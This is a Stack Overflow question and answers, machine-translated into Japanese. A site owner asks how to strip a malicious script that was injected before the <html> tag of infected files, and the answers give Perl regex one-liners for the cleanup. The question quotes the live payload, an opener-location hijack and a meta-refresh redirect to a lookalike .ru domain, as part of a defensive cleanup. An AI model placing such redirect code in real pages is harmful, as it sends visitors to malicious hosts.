1

<html>私が管理している Web サーバー上のフォルダーが最近感染し、大量のファイルの開始タグの前に悪意のあるスクリプトが配置されました。perl 文字列置換スクリプトを実行して消去しようとしています。

悪意のあるファイルは次のようになります。

<script language="JavaScript">
parent.window.opener.location="http://vkk.coom.ny8pbpk.ru?nhzwhhh=ZE9taWlsX2nkPRE0LmZub3ffaUQ9PTM3MCbjb0RlNWFlZnrvaEx2b2JydWLuYUJxfwC%3D%3D";
</script>
<meta http-equiv="refresh" content="0;URL=http://yandex.ru.ny8pbpk.ru?pk=i%2FGWhteXsNcf0qzPwdiVgMkkhvrG1YbO25gYgPqe2saQmdIDmeiUlsiXmNEQmPCfhMSD5" />
<html>
<head>
......and the file goes on

私は Regex がちょっと苦手なので、perl の文字列置換の使用方法について、他の StackOverflow の投稿からできる限り多くの情報を収集しようとしました。私が直面している最大の問題は、複数の行で機能させることです。

これが私がこれまでに持っているものです:

perl -0777 -i -pe 's/\s*<html>/<html>/s' index.html    

これは効果がないようです。<html>秒を変更する<foobar>と、正しく foobar に置き換えられますが、その前にあるものはすべて無視されます。

私が知る限り、-0777フラグは1行として「丸呑み」することになっていて、\s*前の文字列全体と一致する必要があります<html>が、やはり正規表現が不足しています。どんな助けでも大歓迎です!

4

3 に答える 3

2

これを試して:

perl -0777 -i -pe 's/^.*(?=<html>)//s' index.html

または、このより安全で効果的なパターン:

perl -0777 -i -pe 's/^(?>[^<]++|<(?!html>))*(?=<html>)//' index.html
于 2013-07-13T01:56:02.073 に答える
1

\s* は具体的すぎます。. の前の空白だけを一致させたいわけではありません。の前のすべてに一致する .* を試してください

于 2013-07-13T01:37:12.893 に答える
0

\s*[\s\S]*すべての文字に一致するようにする必要があります。

私はこれを素晴らしいリファレンスとして見つけました: http://www.cs.tut.fi/~jkorpela/perl/regexp.html

したがって、最終的な作業コマンドは次のとおりです。

perl -0777 -i -pe 's/[\s\S]*<html>/<html>/s' index.html

于 2013-07-13T01:43:55.253 に答える